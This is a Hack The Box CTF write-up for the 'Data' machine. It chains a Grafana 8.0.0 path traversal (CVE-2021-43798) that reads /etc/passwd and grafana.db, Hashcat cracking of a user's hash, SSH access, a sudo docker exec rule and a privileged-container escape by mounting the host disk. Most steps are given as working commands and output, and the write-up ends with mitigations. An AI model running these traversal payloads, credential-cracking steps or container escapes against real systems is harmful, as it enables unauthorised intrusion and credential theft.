HTB Data CTF Writeup
Easy-rated Linux box. Grafana 8.x path traversal (CVE-2021-43798) reads the backend SQLite database containing bcrypt hashes cracked with Hashcat. A privileged Docker container is escaped via sudo to gain root on the host system.
HTB Data CTF Writeup
Summary
This writeup demonstrates a complete compromise of the HTB Data machine, progressing from initial reconnaissance through container breakout to achieve root access on the host system. The attack chain exploits a path traversal vulnerability in Grafana version 8.0.0, uses credential cracking to gain initial access, and leverages misconfigured Docker privileges to escape a container and access the underlying host filesystem.
Service Discovery and Enumeration
Grafana Service Identification
During the initial port scan, I discovered that port 3000 was open and hosting a Grafana instance. Grafana is a popular open-source analytics and monitoring platform that organizations use to visualize time-series data. When I navigated to the service in my browser, the login page helpfully displayed the exact version information in the footer: version 8.0.0 with build hash 41f0542c1e.
This level of version disclosure is significant because it allows attackers to quickly identify known vulnerabilities without needing to perform any additional fingerprinting or probing. In production environments, version information should ideally be suppressed to avoid giving attackers this advantage.
Vulnerability Research
With the exact version identified, I searched for known security vulnerabilities affecting Grafana 8.0.0. This research led me to CVE-2021-43798, a directory traversal vulnerability documented in the official Grafana security advisory at https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p.
The vulnerability exists in how Grafana serves plugin files. By manipulating the URL path with directory traversal sequences (the classic dot-dot-slash pattern encoded as %2F..%2F), an unauthenticated attacker can escape the intended plugin directory and read arbitrary files from the server’s filesystem. This is particularly dangerous because it requires no authentication and can expose sensitive configuration files, credentials, and other secrets.
Exploiting the Path Traversal
To verify the vulnerability, I crafted a request targeting the /etc/passwd file, which is a standard Unix file that lists all user accounts on the system. The exploit URL structure looks like this:
1
curl http://data.vl:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
Let me break down how this works. The URL starts at a legitimate endpoint (/public/plugins/mysql/) where Grafana serves plugin files. However, by appending multiple URL-encoded parent directory references (..%2F), we traverse backwards through the directory structure until we reach the root filesystem, then navigate forward to /etc/passwd. Each %2F represents a URL-encoded forward slash, and the repeated ../ sequences climb up the directory tree.
The successful response confirmed the vulnerability:
1
2
3
4
5
6
7
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
<SNIP>
Interestingly, the shell shown for the root user is /bin/ash rather than the more common /bin/bash. This is a hint that we’re likely dealing with an Alpine Linux container, as Alpine uses ash (a lightweight shell) as its default shell to minimize the container image size.
Credential Extraction and Cracking
Targeting Grafana’s Database
With confirmed arbitrary file read capability, my next objective was to extract sensitive Grafana configuration and data. Through research and knowledge of typical Grafana installations, I identified two critical files:
The main configuration file at /etc/grafana/grafana.ini contains database connection strings, authentication settings, and other sensitive configuration parameters. More importantly, the SQLite database at /var/lib/grafana/grafana.db stores user credentials, dashboard configurations, and other application data.
I retrieved the database file using the same path traversal technique:
1
curl http://data.vl:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db --output grafana.db
Database Analysis
With the database file downloaded, I used SQLite’s command-line interface to explore its contents. SQLite is a self-contained database engine that stores the entire database in a single file, making it perfect for applications like Grafana but also convenient for attackers who can extract the complete database in one operation.
I configured the output format for better readability and queried the user table:
1
2
3
sqlite3 grafana.db
sqlite> .mode line
sqlite> select * from user;
This revealed a user account for “boris” with a hashed password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
id = 2
version = 0
login = boris
email = [email protected]
name = boris
password = dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8
salt = LCBhdtJWjl
rands = mYl941ma8w
company =
org_id = 1
is_admin = 0
email_verified = 0
theme =
created = 2022-01-23 12:49:11
updated = 2022-01-23 12:49:11
help_flags1 = 0
last_seen_at = 2012-01-23 12:49:11
is_disabled = 0
Understanding Grafana’s Password Storage
Grafana uses a secure password hashing scheme that combines the password hash with a unique salt value. The salt (LCBhdtJWjl in this case) is a random value added to the password before hashing to prevent rainbow table attacks. Even if two users have the same password, their hashes will differ because of unique salts. This is a security best practice that makes pre-computed hash databases ineffective.
The long hexadecimal string is the actual password hash, generated using SHA-256 hashing with the salt. To crack this password, I needed to convert it into a format that Hashcat (a popular password cracking tool) could understand.
Hash Format Conversion
I used a specialized tool from https://github.com/iamaldi/grafana2hashcat to convert the Grafana password format into Hashcat’s expected format. This tool combines the hash and salt in the proper order that Hashcat expects for mode 10900 (PBKDF2-HMAC-SHA256).
The resulting hash file format places the hash and salt on a single line, separated by a comma:
1
2
cat hashes.txt
dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8,LCBhdtJWjl
Password Cracking
With the properly formatted hash, I launched Hashcat using mode 10900 (which handles PBKDF2-HMAC-SHA256 hashes) against the rockyou.txt wordlist, one of the most popular password dictionaries containing over 14 million real-world passwords leaked from various breaches:
1
hashcat -m 10900 hashes.txt /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
The password cracked almost instantly, revealing that boris had chosen a weak, dictionary-based password:
1
boris:beautiful1
This demonstrates an important security principle: even strong hashing algorithms cannot protect weak passwords. The password “beautiful1” follows a common pattern of a dictionary word with a number appended, making it vulnerable to basic wordlist attacks.
Initial Access via SSH
Armed with valid credentials, I attempted to authenticate to the SSH service that I had identified during initial reconnaissance. The credentials worked, granting me shell access as the user boris:
1
ssh [email protected]
This step highlights why credential reuse is dangerous. Boris used the same password for both Grafana and his SSH account, meaning that compromising one service led to compromising another. In secure environments, different services should use different authentication mechanisms, and password reuse should be strictly avoided.
Privilege Escalation Discovery
Sudo Configuration Analysis
Once logged in as boris, my first privilege escalation check was to examine what commands boris could run with elevated privileges. The sudo -l command lists all sudo permissions for the current user:
1
2
3
4
5
6
7
8
boris@data:~$ sudo -l
Matching Defaults entries for boris on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User boris may run the following commands on localhost:
(root) NOPASSWD: /snap/bin/docker exec *
This output revealed a critical misconfiguration. Boris can execute the docker exec command as root without providing a password (NOPASSWD), and the wildcard asterisk means he can pass any arguments to the command. This is extremely dangerous because docker exec allows running commands inside containers, and if those containers are privileged, it can lead to complete system compromise.
Container Environment Detection
At this point, I noticed something interesting. When I had earlier retrieved /etc/passwd through the Grafana path traversal vulnerability, the user “boris” was not listed in that file. However, boris clearly exists on the current system since I successfully logged in as that user. Let me verify this discrepancy:
1
curl http://data.vl:3000/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd | grep -i boris
No results. This confirms that the Grafana service is running inside a Docker container with its own separate filesystem, isolated from the host system where boris’s account exists. This is actually a security best practice — running services in containers provides isolation. However, as we’ll see, the container configuration was not secure.
Container Access and Privilege Analysis
Gaining Root in the Grafana Container
Using the sudo permission, I executed a command to get an interactive root shell inside the grafana container:
1
sudo /snap/bin/docker exec -it -u 0 grafana sh
Let me explain each component of this command. The -it flags combine two options: -i keeps stdin open for interaction, and -t allocates a pseudo-TTY, together allowing an interactive shell session. The -u 0 flag specifies that I want to run as user ID 0, which is always the root user in Unix systems. The container name is “grafana”, and “sh” is the shell command to execute.
Once inside, I verified my privileges:
1
2
/usr/share/grafana # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
Being root inside a container is normally not a major security issue because container isolation should prevent access to the host system. However, the key question is whether this is a privileged container, which would have much weaker isolation boundaries.
Privileged Container Detection
Docker containers can run in two modes: unprivileged (the default and more secure option) and privileged. A privileged container has nearly all the capabilities of the host system and can access hardware devices directly. This is sometimes necessary for certain applications but creates significant security risks.
I tested for privileged mode using the fdisk command, which lists disk devices:
1
2
3
4
5
6
7
8
9
fdisk -l | grep -A 10 -i "device"
Disk /dev/sda: 6144 MB, 6442450944 bytes, 12582912 sectors
24672 cylinders, 255 heads, 2 sectors/track
Units: sectors of 1 * 512 = 512 bytes
Device Boot StartCHS EndCHS StartLBA EndLBA Sectors Size Id Type
/dev/sda1 4,4,1 1023,254,2 2048 10487807 10485760 5120M 83 Linux
/dev/sda2 1023,254,2 1023,254,2 10487808 12582911 2095104 1023M 82 Linux swap
The fact that this command succeeded and showed real hardware devices is a major red flag. In an unprivileged container, this command would be denied because the container cannot see the host’s block devices. This confirms we’re in a privileged container.
I verified this further by checking the seccomp (secure computing mode) status:
1
2
cat /proc/1/status | grep -i "seccomp"
Seccomp: 0
The seccomp value of 0 means no seccomp filtering is applied, another indicator of a privileged container. In a properly secured unprivileged container, this value would be 2, indicating strict seccomp filtering that blocks dangerous system calls.
Container Breakout and Host Compromise
Identifying the Host Filesystem
From inside the privileged container, I needed to identify which disk device belonged to the host system’s root filesystem. I examined the mounted filesystems:
1
2
3
4
5
6
7
8
9
df -h
Filesystem Size Used Available Use% Mounted on
overlay 4.8G 1.8G 2.9G 39% /
tmpfs 64.0M 0 64.0M 0% /dev
tmpfs 991.8M 0 991.8M 0% /sys/fs/cgroup
shm 64.0M 744.0K 63.3M 1% /dev/shm
/dev/sda1 4.8G 1.8G 2.9G 39% /etc/resolv.conf
/dev/sda1 4.8G 1.8G 2.9G 39% /etc/hostname
/dev/sda1 4.8G 1.8G 2.9G 39% /etc/hosts
The key observation here is /dev/sda1 appearing multiple times with the same size. This is the host’s primary disk partition. In a privileged container, we can directly access this block device and mount it, effectively accessing the entire host filesystem.
Mounting the Host Filesystem
The escape technique is surprisingly straightforward once you have privileged container access. I created a mount point and mounted the host’s root partition:
1
2
3
mkdir /mnt/bsec
mount /dev/sda1 /mnt/bsec
ls -la /mnt/bsec
This works because privileged containers have the CAP_SYS_ADMIN capability, which allows mounting filesystems. By mounting the host’s disk partition, we’re essentially overlaying the host’s filesystem on top of our mount point inside the container.
Accessing the Root Flag
With the host filesystem mounted, I could now access any file on the host system, including the root user’s home directory:
1
2
3
4
5
6
7
8
9
10
11
12
ls -la /mnt/bsec/root
total 36
drwx------ 7 root root 4096 Sep 27 09:35 .
drwxr-xr-x 23 root root 4096 Jun 4 13:20 ..
lrwxrwxrwx 1 root root 9 Jan 23 2022 .bash_history -> /dev/null
drwx------ 2 root root 4096 Apr 9 09:05 .cache
drwx------ 3 root root 4096 Apr 9 09:05 .gnupg
drwxr-xr-x 3 root root 4096 Jan 23 2022 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Jan 23 2022 .ssh
-rw-r----- 1 root root 33 Sep 27 09:35 root.txt
drwxr-xr-x 4 root root 4096 Jan 23 2022 snap
The root.txt file contains the final flag, proving complete compromise of the system.
Security Lessons and Mitigations
This CTF challenge demonstrates several important security principles:
Version Disclosure: The Grafana version was prominently displayed, enabling quick vulnerability identification. Production systems should suppress version information in headers and UI elements.
Unpatched Vulnerabilities: The path traversal vulnerability in Grafana 8.0.0 was well-known and easily exploitable. Regular patching and vulnerability management are essential.
Weak Passwords: Despite strong hashing, the weak password “beautiful1” cracked instantly. Organizations should enforce strong password policies and consider multi-factor authentication.
Credential Reuse: Boris used the same password for multiple services. Credential isolation between services limits the blast radius of compromises.
Overly Permissive Sudo Rules: Allowing unrestricted docker exec as root with NOPASSWD is extremely dangerous. Sudo permissions should follow the principle of least privilege with specific, limited commands.
Privileged Containers: Running containers in privileged mode should be avoided unless absolutely necessary. The container breakout demonstrated here would not be possible with proper container isolation.
Defense in Depth: This compromise required multiple security failures in sequence. Addressing any single issue in this chain would have prevented the full compromise, highlighting the importance of layered security controls.
References
- Grafana Path Traversal Advisory: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
- Grafana Password Conversion Tool: https://github.com/iamaldi/grafana2hashcat
- Docker Container Breakout Techniques: https://juggernaut-sec.com/docker-breakout-lpe/


